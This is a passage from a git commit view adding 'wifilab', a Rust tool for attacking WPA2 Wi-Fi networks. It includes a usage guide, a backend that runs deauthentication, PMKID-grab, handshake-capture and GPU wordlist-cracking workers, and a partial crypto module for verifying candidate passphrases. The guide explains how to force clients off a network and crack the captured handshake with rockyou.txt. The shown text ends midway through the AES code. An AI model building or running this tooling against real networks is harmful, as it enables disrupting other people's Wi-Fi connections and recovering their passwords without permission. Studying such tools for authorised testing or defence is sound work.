forge
Explore
Log in

Don't you dare go Hollow

wifilab: full WPA2 lab — scan/deauth/PMKID/handshake capture, GPU SHA1 cracker (wgpu), GPUI+gpuikit shell

Browse files at this commit

108d8703558de171d577bbea4b25761cf6ea9085Ahmet Kaan GümüşParent: 3d36b88
Cargo.lockmodified+1 -0
@@ -6878,6 +6878,7 @@ dependencies = [
6878 "byteorder",6878 "byteorder",
6879 "clap",6879 "clap",
6880 "crossbeam-channel",6880 "crossbeam-channel",
6881+ "gpui-platform-gpui-unofficial",
6881 "gpui-unofficial",6882 "gpui-unofficial",
6882 "gpuikit",6883 "gpuikit",
6883 "hmac 0.12.1",6884 "hmac 0.12.1",
Cargo.tomlmodified+1 -0
@@ -8,6 +8,7 @@ license = "MIT"
8 # GPUI UI (gpuikit's pinned gpui fork)8 # GPUI UI (gpuikit's pinned gpui fork)
9 # gpuikit 0.9.0 predates API drift in newer gpui-unofficial builds — pin exact.9 # gpuikit 0.9.0 predates API drift in newer gpui-unofficial builds — pin exact.
10 gpui = { package = "gpui-unofficial", version = "=1.14.2" }10 gpui = { package = "gpui-unofficial", version = "=1.14.2" }
11+gpui_platform = { package = "gpui-platform-gpui-unofficial", version = "=1.14.2" }
11 gpuikit = "0.9.0"12 gpuikit = "0.9.0"
12 13
13 # GPU compute (PBKDF2-SHA1 handshake cracker)14 # GPU compute (PBKDF2-SHA1 handshake cracker)
docs/USAGE.mdadded+77 -0
@@ -0,0 +1,77 @@
1+# wifilab — usage
2+
3+WPA/WPA2 lab tool: passive scan → capture a 4-way handshake or PMKID →
4+crack it on the GPU (CPU fallback). Single binary, GPUI shell.
5+
6+## Running
7+
8+The real backend is the default and requires root:
9+
10+```sh
11+cargo build --release
12+sudo ./target/release/wifilab --iface wlp14s0
13+```
14+
15+- `--iface <name>` picks the wireless interface (default: first detected
16+ wireless interface, falling back to `wlp14s0`). The header bar's picker
17+ can also switch interfaces while capture is stopped.
18+- `--mock` (or `WIFILAB_MOCK=1`) runs the UI against fabricated events —
19+ no device access, for development only.
20+- On startup the tool prints one line: mode, interface, root status.
21+ Not root? The badge shows it and a toast warns once — the UI stays
22+ usable, but every attack will fail with errors in the Log page.
23+
24+The tool does **not** kill or stop anything on your system. If
25+NetworkManager/wpa_supplicant grab the interface (channel changes fail,
26+no packets), stop them yourself, e.g.:
27+
28+```sh
29+sudo systemctl stop NetworkManager # optional, only if attacks misbehave
30+```
31+
32+## Workflow
33+
34+1. **Start capture (monitor)** — switches the interface to monitor mode
35+ (creates `<iface>mon` on drivers that can't switch in place) and starts
36+ the channel hopper. APs and clients stream into the Networks page.
37+2. Click the target network (e.g. *parafin*) in the AP table — or click a
38+ client row to select the (AP, client) pair.
39+3. **Attacks** page:
40+ - **Capture Handshake** — parks on the target channel and tracks EAPOL
41+ 4-way exchanges; `M1..M4` progress shows live until a crackable
42+ M1+M2 pair lands.
43+ - **Deauth** — forces a client (the selected one, or broadcast) to
44+ re-authenticate so the handshake capture above completes fast. Count
45+ comes from the input next to the button. Deauth while capturing is
46+ the intended combo: keep both on the same channel (the UI targets a
47+ single AP, so this is automatic).
48+ - **PMKID Attack** — clientless: auth+assoc from the monitor
49+ interface's own MAC and read the PMKID from the AP's M1. Many APs
50+ don't volunteer one — the log tells you either way.
51+ - **Export .hc22000** — writes every capture in hashcat 22000 format.
52+4. **Cracker** page — stop capture first (the cracker holds the wordlist
53+ stream for a long time; radio access is exclusive). Pick the capture,
54+ point the wordlist field at e.g. `/usr/share/wordlists/rockyou.txt`,
55+ hit **Start**. Live H/s and candidate count stream in. **Stop** flips
56+ the job's stop flag and the worker exits at the next batch.
57+5. Everything the backend does is mirrored on the **Log** page, including
58+ worker errors (permissions, channel-change failures, wordlist open
59+ failures).
60+
61+On exit (window close) all workers are stopped and the interface is
62+restored to managed mode (the `<iface>mon` vif is deleted if one was
63+created).
64+
65+## Cracking backends
66+
67+The cracker prefers the GPU (wgpu/Vulkan compute; works headless, e.g.
68+radv). `GpuCracker::try_new()` returns `None` when no suitable adapter
69+exists and the run transparently falls back to the CPU reference cracker —
70+the log line says which backend is active. WPA passphrases 8..63 bytes;
71+wordlist lines are trimmed/streamed, huge files are fine.
72+
73+## Files
74+
75+- Captures export to `./captures/wifilab-<ts>.hc22000` (or the path chosen
76+ in the save dialog) in hashcat `-m 22000` format — one `WPA*02` line per
77+ handshake, one `WPA*01` line per PMKID.
src/backend.rsadded+334 -0
@@ -0,0 +1,334 @@
1+//! Backend orchestrator: owns the interface mode switch and every worker
2+//! thread (scanner, deauth, PMKID grab, 4-way capture, cracker). All
3+//! workers share a single stop flag and report over the UI event channel;
4+//! the UI stores one `Backend` and drops/shuts it down on window close.
5+//!
6+//! Concurrency notes:
7+//! - The scanner and any attack worker can coexist (deauth while capturing
8+//! is the whole point). Attack workers open their OWN [`RawSocket`] on
9+//! the monitor interface and set the channel themselves; concurrent
10+//! attacks should therefore target the SAME channel — this matches the
11+//! UI, which implies a single target.
12+//! - `to_monitor` may create a `<orig>mon` vif; the actual monitor ifname
13+//! is remembered and passed to [`iface::to_managed`] on shutdown
14+//! (it deletes the vif or flips the interface back, as appropriate).
15+
16+use std::path::PathBuf;
17+use std::sync::atomic::{AtomicBool, Ordering};
18+use std::sync::{Arc, Mutex};
19+use std::thread::JoinHandle;
20+
21+use anyhow::{Context, Result};
22+use crossbeam_channel::Sender;
23+
24+use crate::common::{Event, MacAddr};
25+use crate::crypto::CrackTarget;
26+use crate::gpu::{self, GpuCracker};
27+use crate::rawsock::RawSocket;
28+use crate::{deauth, handshake, iface, pmkid, scanner, wordlist};
29+
30+fn send(tx: &Sender<Event>, ev: Event) {
31+ let _ = tx.send(ev);
32+}
33+
34+fn log(tx: &Sender<Event>, msg: impl Into<String>) {
35+ send(tx, Event::Log(msg.into()));
36+}
37+
38+fn log_err(tx: &Sender<Event>, msg: impl Into<String>) {
39+ send(tx, Event::Error(msg.into()));
40+}
41+
42+pub struct Backend {
43+ stop: Arc<AtomicBool>,
44+ handles: Mutex<Vec<JoinHandle<()>>>,
45+ /// Name of the interface currently in monitor mode (`None` if the
46+ /// mode switch failed at start — nothing to restore then).
47+ mon_ifname: Option<String>,
48+ /// Interface the user selected; restored to managed mode on shutdown
49+ /// when it differs from `mon_ifname`.
50+ orig_ifname: String,
51+ /// Stop flag of the currently running crack job (if any). Kept
52+ /// separate from `stop` so "Stop" on the cracker page doesn't kill
53+ /// the radio workers and `shutdown` can kill both.
54+ crack_stop: Mutex<Option<Arc<AtomicBool>>>,
55+}
56+
57+impl Backend {
58+ /// Switch `ifname` to monitor mode and start the channel-hopping
59+ /// scanner (full 2.4 + 5 GHz hop list). On any failure an
60+ /// [`Event::Error`] is emitted, the interface is put back into managed
61+ /// mode, and `Err` is returned.
62+ pub fn start_scan(ifname: &str, tx: Sender<Event>) -> Result<Self> {
63+ let mon_ifname = match iface::to_monitor(ifname) {
64+ Ok(name) => name,
65+ Err(e) => {
66+ log_err(&tx, format!("monitor mode on {ifname} failed: {e:#}"));
67+ // Best effort: leave the box the way we found it.
68+ let _ = iface::to_managed(ifname);
69+ return Err(e).context(format!("to_monitor({ifname})"));
70+ }
71+ };
72+ let be = Backend {
73+ stop: Arc::new(AtomicBool::new(false)),
74+ handles: Mutex::new(Vec::new()),
75+ mon_ifname: Some(mon_ifname.clone()),
76+ orig_ifname: ifname.to_string(),
77+ crack_stop: Mutex::new(None),
78+ };
79+ log(&tx, format!("monitor mode up on {mon_ifname} (was {ifname})"));
80+
81+ let cfg = scanner::ScannerConfig {
82+ ifname: mon_ifname,
83+ channels: Vec::new(), // empty = full hop list
84+ dwell_ms: 100,
85+ rssi_floor: -95,
86+ };
87+ let stop = be.stop.clone();
88+ let h = std::thread::Builder::new()
89+ .name("wifilab-scanner".into())
90+ .spawn(move || {
91+ if let Err(e) = scanner::run(cfg, tx.clone(), stop) {
92+ log_err(&tx, format!("scanner stopped: {e:#}"));
93+ }
94+ })
95+ .context("spawning scanner thread")?;
96+ be.handles.lock().expect("handles poisoned").push(h);
97+ Ok(be)
98+ }
99+
100+ fn mon(&self) -> String {
101+ self.mon_ifname
102+ .clone()
103+ .unwrap_or_else(|| self.orig_ifname.clone())
104+ }
105+
106+ /// Register a worker thread so [`Backend::shutdown`] joins it. The
107+ /// worker closure takes ownership of an event channel clone; on spawn
108+ /// failure the error is reported on the caller's `tx`.
109+ fn spawn(
110+ &self,
111+ name: &str,
112+ tx: &Sender<Event>,
113+ what: &str,
114+ f: impl FnOnce(Sender<Event>) + Send + 'static,
115+ ) -> bool {
116+ let worker_tx = tx.clone();
117+ match std::thread::Builder::new()
118+ .name(name.to_string())
119+ .spawn(move || f(worker_tx))
120+ {
121+ Ok(h) => {
122+ self.handles.lock().expect("handles poisoned").push(h);
123+ true
124+ }
125+ Err(e) => {
126+ log_err(tx, format!("{what}: spawn failed: {e}"));
127+ false
128+ }
129+ }
130+ }
131+
132+ /// Ask the running crack job (if any) to stop. Independent of the
133+ /// radio stop flag: killing capture should not need a wordlist stream
134+ /// to die with it.
135+ pub fn request_crack_stop(&self) {
136+ if let Some(flag) = &*self.crack_stop.lock().expect("crack_stop poisoned") {
137+ flag.store(true, Ordering::Relaxed);
138+ }
139+ }
140+
141+ /// Deauth worker: opens its own raw socket on the monitor interface,
142+ /// tunes it to `channel`, then blasts `count` deauth rounds at
143+ /// `target` (broadcast allowed). Emits DeauthSent progress (via
144+ /// [`deauth::blast`]) and a final summary log.
145+ pub fn deauth(
146+ &self,
147+ ap: MacAddr,
148+ target: MacAddr,
149+ channel: u8,
150+ count: u32,
151+ tx: Sender<Event>,
152+ ) {
153+ let mon = self.mon();
154+ self.spawn("wifilab-deauth", &tx, "deauth", move |tx| {
155+ let sock = match RawSocket::open(&mon) {
156+ Ok(s) => s,
157+ Err(e) => {
158+ log_err(&tx, format!("deauth: raw socket on {mon} failed: {e}"));
159+ return;
160+ }
161+ };
162+ if let Err(e) = iface::set_channel(&mon, channel) {
163+ // Not fatal: the capture worker is usually already parked
164+ // on the right channel.
165+ log(&tx, format!("deauth: set_channel {channel} failed: {e:#}"));
166+ }
167+ match deauth::blast(&sock, &ap, &target, count, &tx) {
168+ Ok(sent) => log(&tx, format!("deauth: done, {sent} frames → {target}")),
169+ Err(e) => log_err(&tx, format!("deauth: {e:#}")),
170+ }
171+ });
172+ }
173+
174+ /// PMKID grab worker: single client-less auth+assoc attempt against
175+ /// `ap`, impersonating the monitor interface's own MAC. Emits
176+ /// PmkidCaptured or a "no PMKID" log line.
177+ pub fn pmkid(&self, ap: MacAddr, channel: u8, essid: String, tx: Sender<Event>) {
178+ let mon = self.mon();
179+ self.spawn("wifilab-pmkid", &tx, "pmkid", move |tx| {
180+ let sta = match iface::mac_of(&mon) {
181+ Ok(m) => m,
182+ Err(e) => {
183+ log_err(&tx, format!("pmkid: own MAC of {mon}: {e:#}"));
184+ return;
185+ }
186+ };
187+ let sock = match RawSocket::open(&mon) {
188+ Ok(s) => s,
189+ Err(e) => {
190+ log_err(&tx, format!("pmkid: raw socket on {mon} failed: {e}"));
191+ return;
192+ }
193+ };
194+ if let Err(e) = iface::set_channel(&mon, channel) {
195+ log(&tx, format!("pmkid: set_channel {channel} failed: {e:#}"));
196+ }
197+ match pmkid::grab(&sock, &ap, &sta, &essid, &tx) {
198+ Ok(Some(cap)) => send(&tx, Event::PmkidCaptured(cap)),
199+ Ok(None) => log(&tx, format!("pmkid: no PMKID volunteered by {ap}")),
200+ Err(e) => log_err(&tx, format!("pmkid: {e:#}")),
201+ }
202+ });
203+ }
204+
205+ /// 4-way capture worker: tune the monitor interface to `channel`, open
206+ /// a raw socket, and run [`handshake::capture_loop`] (stop flag
207+ /// checked every 250 ms frame poll). [`Event::HandshakeComplete`] is
208+ /// emitted from inside the loop when a crackable pair completes.
209+ pub fn capture_hs(&self, ap: MacAddr, channel: u8, essid: String, tx: Sender<Event>) {
210+ let mon = self.mon();
211+ let stop = self.stop.clone();
212+ self.spawn("wifilab-capture", &tx, "handshake", move |tx| {
213+ if let Err(e) = iface::set_channel(&mon, channel) {
214+ log_err(&tx, format!("handshake: set_channel {channel} on {mon}: {e:#}"));
215+ return;
216+ }
217+ let sock = match RawSocket::open(&mon) {
218+ Ok(s) => s,
219+ Err(e) => {
220+ log_err(&tx, format!("handshake: raw socket on {mon} failed: {e}"));
221+ return;
222+ }
223+ };
224+ match handshake::capture_loop(&sock, ap, &essid, &tx, &stop) {
225+ Ok(true) => {}
226+ Ok(false) => log(&tx, format!("handshake: capture ended without a pair ({ap})")),
227+ Err(e) => log_err(&tx, format!("handshake: {e:#}")),
228+ }
229+ });
230+ }
231+
232+ /// Crack worker: stream `wordlist` through the GPU cracker (CPU
233+ /// fallback when no adapter) against `target`. Emits CrackProgress,
234+ /// then exactly one terminator: CrackFound + CrackStopped{found:true}
235+ /// on success, CrackStopped{found:false} on stop or wordlist
236+ /// exhaustion.
237+ pub fn crack(
238+ &self,
239+ target_desc: String,
240+ target: CrackTarget,
241+ wordlist: PathBuf,
242+ tx: Sender<Event>,
243+ ) {
244+ // Cracking has its own stop flag (cracker-page Stop) but shutdown
245+ // kills it too (see stop_workers/Drop, which set both).
246+ let stop = Arc::new(AtomicBool::new(false));
247+ *self.crack_stop.lock().expect("crack_stop poisoned") = Some(stop.clone());
248+ self.spawn("wifilab-crack", &tx, "cracker", move |tx| {
249+ let words = match wordlist::open(&wordlist) {
250+ Ok(w) => w,
251+ Err(e) => {
252+ log_err(&tx, format!("cracker: {e:#}"));
253+ send(&tx, Event::CrackStopped { found: false });
254+ return;
255+ }
256+ };
257+ let mut words = words;
258+ let mut progress = {
259+ let tx = tx.clone();
260+ move |done: u64, hps: f64| send(&tx, Event::CrackProgress { done, hps })
261+ };
262+ let found = match GpuCracker::try_new() {
263+ Some(g) => {
264+ log(
265+ &tx,
266+ format!("cracker: GPU backend: {} — cracking {target_desc}", g.device_name()),
267+ );
268+ g.crack(&target, &mut words, &mut progress, &stop)
269+ }
270+ None => {
271+ log(
272+ &tx,
273+ format!("cracker: no GPU adapter, CPU fallback — cracking {target_desc}"),
274+ );
275+ gpu::cpu_crack(&target, &mut words, &mut progress, &stop)
276+ }
277+ };
278+ match found {
279+ Some(password) => {
280+ log(&tx, format!("cracker: PASSWORD found: {password}"));
281+ send(&tx, Event::CrackFound { password });
282+ send(&tx, Event::CrackStopped { found: true });
283+ }
284+ None => {
285+ if stop.load(Ordering::Relaxed) {
286+ log(&tx, "cracker: stopped");
287+ } else {
288+ log(&tx, "cracker: wordlist exhausted, password not found");
289+ }
290+ send(&tx, Event::CrackStopped { found: false });
291+ }
292+ }
293+ });
294+ }
295+
296+ /// Stop every worker, restore the original interface to managed mode
297+ /// (deleting the `<orig>mon` vif if one was created), and join all
298+ /// threads. Idempotent: safe to call more than once / from `Drop`.
299+ pub fn shutdown(self) {
300+ self.stop_workers();
301+ }
302+
303+ /// Inner shutdown shared with `Drop` (which cannot move `self`).
304+ fn stop_workers(&self) {
305+ self.stop.store(true, Ordering::Release);
306+ self.request_crack_stop();
307+ if let Some(mon) = &self.mon_ifname {
308+ if let Err(e) = iface::to_managed(mon) {
309+ eprintln!("wifilab: to_managed({mon}) failed: {e:#}");
310+ }
311+ }
312+ let handles = std::mem::take(&mut *self.handles.lock().expect("handles poisoned"));
313+ for h in handles {
314+ let _ = h.join();
315+ }
316+ }
317+}
318+
319+impl Drop for Backend {
320+ /// Panic-safe mirror of [`Backend::shutdown`] — same steps, ignores
321+ /// errors silently as far as possible; never panics itself.
322+ fn drop(&mut self) {
323+ self.stop.store(true, Ordering::Release);
324+ self.request_crack_stop();
325+ if let Some(mon) = &self.mon_ifname {
326+ let _ = iface::to_managed(mon);
327+ }
328+ if let Ok(mut guard) = self.handles.lock() {
329+ for h in std::mem::take(&mut *guard) {
330+ let _ = h.join();
331+ }
332+ }
333+ }
334+}
src/common.rsmodified+8 -0
@@ -174,6 +174,14 @@ pub enum Event {
174 PmkidCaptured(PmkidCapture),174 PmkidCaptured(PmkidCapture),
175 /// Count of deauth/disassoc frames actually written to the wire.175 /// Count of deauth/disassoc frames actually written to the wire.
176 DeauthSent { ap: MacAddr, target: MacAddr, count: u64 },176 DeauthSent { ap: MacAddr, target: MacAddr, count: u64 },
177+ /// Candidates checked so far (`done`) and current throughput (`hps`)
178+ /// of a running crack job.
179+ CrackProgress { done: u64, hps: f64 },
180+ /// A crack job recovered the passphrase.
181+ CrackFound { password: String },
182+ /// The active crack job ended: `found` distinguishes success from
183+ /// exhaustion/user-stop (emitted after [`Event::CrackFound`] too).
184+ CrackStopped { found: bool },
177 Log(String),185 Log(String),
178 Error(String),186 Error(String),
179 }187 }
src/crypto.rsmodified+783 -0
@@ -0,0 +1,783 @@
1+//! CPU reference implementation of WPA2-PSK cryptographic primitives:
2+//! PBKDF2-SHA1 PMK derivation, 802.11 §12.7.1.2 PRF-512 PTK expansion,
3+//! EAPOL-Key MIC (HMAC-SHA1-128 and hand-rolled AES-128-CMAC), PMKID hash,
4+//! verification and hashcat 22000 line parsing.
5+
6+use anyhow::{Context, Result, anyhow, bail};
7+
8+use crate::common::{HandshakeCapture, MacAddr, PmkidCapture};
9+
10+/// Something the cracker can attack: a 4-way handshake or a PMKID.
11+#[derive(Clone, Debug)]
12+pub enum CrackTarget {
13+ Handshake(HandshakeCapture),
14+ Pmkid(PmkidCapture),
15+}
16+
17+impl CrackTarget {
18+ pub fn essid(&self) -> &str {
19+ match self {
20+ CrackTarget::Handshake(h) => &h.essid,
21+ CrackTarget::Pmkid(p) => &p.essid,
22+ }
23+ }
24+
25+ pub fn describe(&self) -> String {
26+ match self {
27+ CrackTarget::Handshake(h) => format!(
28+ "handshake ap={} sta={} essid=\"{}\" key_ver={}",
29+ h.ap, h.client, h.essid, h.key_ver
30+ ),
31+ CrackTarget::Pmkid(p) => {
32+ format!("pmkid ap={} sta={} essid=\"{}\"", p.ap, p.client, p.essid)
33+ }
34+ }
35+ }
36+}
37+
38+/// PBKDF2-HMAC-SHA1 with a 20-byte digest per block. Implemented by hand so
39+/// we don't depend on the pbkdf2 crate re-exports lining up with the local
40+/// sha1/hmac versions (digest 0.10 vs 0.11 drift); c=4096 is the caller's
41+/// problem, this version is generic.
42+pub fn pbkdf2_hmac_sha1(pass: &[u8], salt: &[u8], iterations: u32, out: &mut [u8]) {
43+ use hmac::{Hmac, Mac};
44+ for (i, chunk) in out.chunks_mut(20).enumerate() {
45+ let idx = (i + 1) as u32;
46+ let mut mac = <Hmac<sha1::Sha1> as Mac>::new_from_slice(pass)
47+ .expect("HMAC-SHA1 accepts any key length");
48+ mac.update(salt);
49+ mac.update(&idx.to_be_bytes());
50+ let mut u = mac.finalize().into_bytes();
51+ let mut t = u;
52+ for _ in 1..iterations {
53+ let mut mac = <Hmac<sha1::Sha1> as Mac>::new_from_slice(pass).expect("hmac");
54+ mac.update(&u);
55+ u = mac.finalize().into_bytes();
56+ for (tb, ub) in t.iter_mut().zip(u.iter()) {
57+ *tb ^= ub;
58+ }
59+ }
60+ let n = chunk.len();
61+ chunk.copy_from_slice(&t[..n]);
62+ }
63+}
64+
65+/// PMK = PBKDF2-HMAC-SHA1(pass, ssid, 4096, 32).
66+pub fn pmk(pass: &[u8], ssid: &[u8]) -> [u8; 32] {
67+ let mut out = [0u8; 32];
68+ pbkdf2_hmac_sha1(pass, ssid, 4096, &mut out);
69+ out
70+}
71+
72+/// PTK derivation per 802.11-2016 §12.7.1.2 (PRF-512):
73+/// HMAC-SHA1(pmk, "Pairwise key expansion" || 0x00 || A || B || i) for i in 1..,
74+/// with A = min(ap,sta)||max(ap,sta), B = min(anonce,snonce)||max(anonce,snonce).
75+pub fn ptk(
76+ pmk: &[u8; 32],
77+ ap: &MacAddr,
78+ sta: &MacAddr,
79+ anonce: &[u8; 32],
80+ snonce: &[u8; 32],
81+) -> [u8; 64] {
82+ use hmac::{Hmac, Mac};
83+
84+ let mut a_pair = [0u8; 12];
85+ if ap.0 <= sta.0 {
86+ a_pair[..6].copy_from_slice(&ap.0);
87+ a_pair[6..].copy_from_slice(&sta.0);
88+ } else {
89+ a_pair[..6].copy_from_slice(&sta.0);
90+ a_pair[6..].copy_from_slice(&ap.0);
91+ }
92+ let mut b_pair = [0u8; 64];
93+ if anonce <= snonce {
94+ b_pair[..32].copy_from_slice(anonce);
95+ b_pair[32..].copy_from_slice(snonce);
96+ } else {
97+ b_pair[..32].copy_from_slice(snonce);
98+ b_pair[32..].copy_from_slice(anonce);
99+ }
100+
101+ // "Pairwise key expansion" || 0x00 || A || B || i
102+ let mut msg = Vec::with_capacity(22 + 1 + 12 + 64 + 1);
103+ msg.extend_from_slice(b"Pairwise key expansion");
104+ msg.push(0u8);
105+ msg.extend_from_slice(&a_pair);
106+ msg.extend_from_slice(&b_pair);
107+ let stem_len = msg.len();
108+ msg.push(0u8); // PRF counter byte, rewritten per round below
109+
110+ let mut out = [0u8; 64];
111+ for (i, chunk) in out.chunks_mut(20).enumerate() {
112+ msg[stem_len] = (i + 1) as u8;
113+ let mut mac = <Hmac<sha1::Sha1> as Mac>::new_from_slice(pmk)
114+ .expect("HMAC-SHA1 accepts any key length");
115+ mac.update(&msg);
116+ let digest = mac.finalize().into_bytes();
117+ chunk.copy_from_slice(&digest[..chunk.len()]);
118+ }
119+ out
120+}
121+
122+/// EAPOL-Key MIC. Zeroes bytes 81..97 of a copy of `eapol` (the MIC field
123+/// offset in a well-formed EAPOL-Key frame; short frames are left untouched),
124+/// then: key_ver 1|2 → HMAC-SHA1 keyed with KCK and truncated to 16 bytes,
125+/// key_ver 3 → AES-128-CMAC over IGTK||0^64||frame.
126+pub fn mic(ptk: &[u8; 64], eapol: &[u8], key_ver: u8) -> [u8; 16] {
127+ use hmac::{Hmac, Mac};
128+
129+ let mut data = eapol.to_vec();
130+ const MIC_OFF: usize = 81;
131+ const MIC_LEN: usize = 16;
132+ if data.len() >= MIC_OFF + MIC_LEN {
133+ data[MIC_OFF..MIC_OFF + MIC_LEN].fill(0);
134+ }
135+
136+ if key_ver == 3 {
137+ // key_mic_len = 16 → blk_key = IGTK||0x00*8. EAPOL frames are never
138+ // zero-length (header is 4 bytes), but the multi-block path covers
139+ // len ≡ 0 mod 16 correctly either way.
140+ let mut key = [0u8; 16];
141+ key[..8].copy_from_slice(&ptk[48..56]);
142+ cmac_aes128(&key, &data)
143+ } else {
144+ let mut mac =
145+ <Hmac<sha1::Sha1> as Mac>::new_from_slice(&ptk[..16]).expect("KCK is 16 bytes");
146+ mac.update(&data);
147+ let digest = mac.finalize().into_bytes();
148+ let mut out = [0u8; 16];
149+ out.copy_from_slice(&digest[..16]);
150+ out
151+ }
152+}
153+
154+/// PMKID = HMAC-SHA1-128(pmk, "PMK Name" || ap || sta).
155+pub fn pmkid_hash(pmk: &[u8; 32], ap: &MacAddr, sta: &MacAddr) -> [u8; 16] {
156+ use hmac::{Hmac, Mac};
157+ let mut mac = <Hmac<sha1::Sha1> as Mac>::new_from_slice(pmk).expect("PMK is 32 bytes");
158+ mac.update(b"PMK Name");
159+ mac.update(&ap.0);
160+ mac.update(&sta.0);
161+ let digest = mac.finalize().into_bytes();
162+ let mut out = [0u8; 16];
163+ out.copy_from_slice(&digest[..16]);
164+ out
165+}
166+
167+/// Constant-time equality of 16-byte buffers.
168+pub fn ct_eq16(a: &[u8; 16], b: &[u8; 16]) -> bool {
169+ let mut diff = 0u8;
170+ for i in 0..16 {
171+ diff |= a[i] ^ b[i];
172+ }
173+ diff == 0
174+}
175+
176+/// Verify `pass` against the capture. Handshake MICs compare in constant
177+/// time.
178+pub fn verify(target: &CrackTarget, pass: &[u8]) -> bool {
179+ let key = pmk(pass, target.essid().as_bytes());
180+ match target {
181+ CrackTarget::Handshake(h) => {
182+ let dk = ptk(&key, &h.ap, &h.client, &h.anonce, &h.snonce);
183+ let got = mic(&dk, &h.eapol_m2, h.key_ver);
184+ ct_eq16(&got, h.mic())
185+ }
186+ CrackTarget::Pmkid(p) => {
187+ let got = pmkid_hash(&key, &p.ap, &p.client);
188+ ct_eq16(&got, &p.pmkid)
189+ }
190+ }
191+}
192+
193+fn unhex_field(s: &str, name: &str) -> Result<Vec<u8>> {
194+ if s.is_empty() || s.len() % 2 != 0 || !s.bytes().all(|b| b.is_ascii_hexdigit()) {
195+ bail!("{name}: not even-length hex");
196+ }
197+ (0..s.len())
198+ .step_by(2)
199+ .map(|i| u8::from_str_radix(&s[i..i + 2], 16).map_err(anyhow::Error::from))
200+ .collect::<Result<Vec<u8>, _>>()
201+ .with_context(|| format!("{name}: bad hex"))
202+}
203+
204+fn unhex_array<const N: usize>(s: &str, name: &str) -> Result<[u8; N]> {
205+ let v = unhex_field(s, name)?;
206+ <[u8; N]>::try_from(v.as_slice()).map_err(|_| anyhow!("{name}: expected {N} bytes"))
207+}
208+
209+fn parse_mac(s: &str) -> Result<MacAddr> {
210+ Ok(MacAddr(unhex_array::<6>(s, "mac")?))
211+}
212+
213+/// Parse one hashcat -m 22000 line:
214+/// 01*PMKID*MAC_AP*MAC_CLIENT*ESSID(hex)*** (PMKID)
215+/// 02*MIC*MAC_AP*MAC_CLIENT*ESSID(hex)*ANONCE*EAPOL(hex)*... (EAPOL)
216+pub fn parse_hc22000(line: &str) -> Result<CrackTarget> {
217+ let line = line.trim();
218+ let fields: Vec<&str> = line.split('*').collect();
219+ if fields.len() < 5 {
220+ bail!("hc22000: too few fields");
221+ }
222+ match fields[0] {
223+ "01" => {
224+ let pmkid = unhex_array::<16>(fields[1], "pmkid")?;
225+ let ap = parse_mac(fields[2])?;
226+ let client = parse_mac(fields[3])?;
227+ let essid_bytes = unhex_field(fields[4], "essid")?;
228+ let essid =
229+ String::from_utf8(essid_bytes).context("hc22000: essid not valid utf-8")?;
230+ Ok(CrackTarget::Pmkid(PmkidCapture {
231+ ap,
232+ client,
233+ essid,
234+ pmkid,
235+ }))
236+ }
237+ "02" => {
238+ if fields.len() < 7 {
239+ bail!("hc22000 type 02: need mic*ap*client*essid*anonce*eapol");
240+ }
241+ let mic_bytes = unhex_array::<16>(fields[1], "mic")?;
242+ let ap = parse_mac(fields[2])?;
243+ let client = parse_mac(fields[3])?;
244+ let essid_bytes = unhex_field(fields[4], "essid")?;
245+ let essid =
246+ String::from_utf8(essid_bytes).context("hc22000: essid not valid utf-8")?;
247+ let anonce = unhex_array::<32>(fields[5], "anonce")?;
248+ let eapol = unhex_field(fields[6], "eapol")?;
249+ if eapol.len() < 99 {
250+ bail!("hc22000: eapol frame too short to carry key data");
251+ }
252+ // Recover snonce (offset 17..49 of EAPOL-Key frame) and key MIC
253+ // version (low bits of big-endian key_info at 5..7).
254+ let snonce = <[u8; 32]>::try_from(&eapol[17..49]).expect("slice checked");
255+ let key_info = u16::from_be_bytes([eapol[5], eapol[6]]);
256+ let key_ver = (key_info & 0x7) as u8;
257+ Ok(CrackTarget::Handshake(HandshakeCapture::new(
258+ ap, client, essid, anonce, snonce, mic_bytes, eapol, key_ver,
259+ )))
260+ }
261+ other => bail!("hc22000: unsupported message pair type {other}"),
262+ }
263+}
264+
265+// ---------------------------------------------------------------------------
266+// AES-128 + CMAC (RFC 4493), hand-rolled. The S-box is derived arithmetically
267+// in GF(2^8) via log/exp tables for generator 0x03 (multiplicative inverse,
268+// then the AES affine transform) — no 256-entry constant to typo.
269+// MixColumns uses xtime-based constant multiples.
270+// ---------------------------------------------------------------------------
271+
272+struct AesTables {
273+ sbox: [u8; 256],
274+ mul2: [u8; 256],
275+ mul3: [u8; 256],
276+}
277+
278+fn xtime(x: u8) -> u8 {
279+ let x2 = x << 1;
280+ if x & 0x80 != 0 { x2 ^ 0x1b } else { x2 }
281+}
282+
283+fn gf_mul(mut a: u8, mut b: u8) -> u8 {
284+ let mut r = 0u8;
285+ while b != 0 {
286+ if b & 1 != 0 {
287+ r ^= a;
288+ }
289+ a = xtime(a);
290+ b >>= 1;
291+ }
292+ r
293+}
294+
295+impl AesTables {
296+ fn new() -> Self {
297+ let mut exp = [0u8; 256];
298+ let mut log = [0u8; 256];
299+ let mut v = 1u8;
300+ // 0x03 is a generator of GF(2^8) under AES reduction.
301+ for i in 0..255usize {
302+ exp[i] = v;
303+ log[v as usize] = i as u8;
304+ v = gf_mul(v, 0x03);
305+ }
306+ exp[255] = 1; // generator cycle has length 255; wrap entry
307+
308+ let mut sbox = [0u8; 256];
309+ for (x, slot) in sbox.iter_mut().enumerate() {
310+ let inv = if x == 0 {
311+ 0u8
312+ } else {
313+ exp[(255usize - log[x] as usize) % 255]
314+ };
315+ *slot = inv
316+ ^ inv.rotate_left(1)
317+ ^ inv.rotate_left(2)
318+ ^ inv.rotate_left(3)
319+ ^ inv.rotate_left(4)
320+ ^ 0x63;
321+ }
322+
323+ let mut t = AesTables {
324+ sbox,
325+ mul2: [0u8; 256],
326+ mul3: [0u8; 256],
327+ };
328+ for x in 0..256usize {
329+ t.mul2[x] = gf_mul(x as u8, 2);
330+ t.mul3[x] = gf_mul(x as u8, 3);
331+ }
332+ t
333+ }
334+}
335+
336+struct Aes128 {
337+ rk: [u8; 176],
338+ t: AesTables,
339+}
340+
341+impl Aes128 {
342+ fn new(key: &[u8; 16]) -> Self {
343+ let t = AesTables::new();
344+ let mut rk = [0u8; 176];
345+ rk[..16].copy_from_slice(key);
346+ let mut i = 4usize; // words generated
347+ while i < 44 {
348+ let mut w = [
349+ rk[4 * i - 4],
350+ rk[4 * i - 3],
351+ rk[4 * i - 2],
352+ rk[4 * i - 1],
353+ ];
354+ if i % 4 == 0 {
355+ // RotWord + SubWord + Rcon
356+ w.rotate_left(1);
357+ for b in w.iter_mut() {
358+ *b = t.sbox[*b as usize];
359+ }
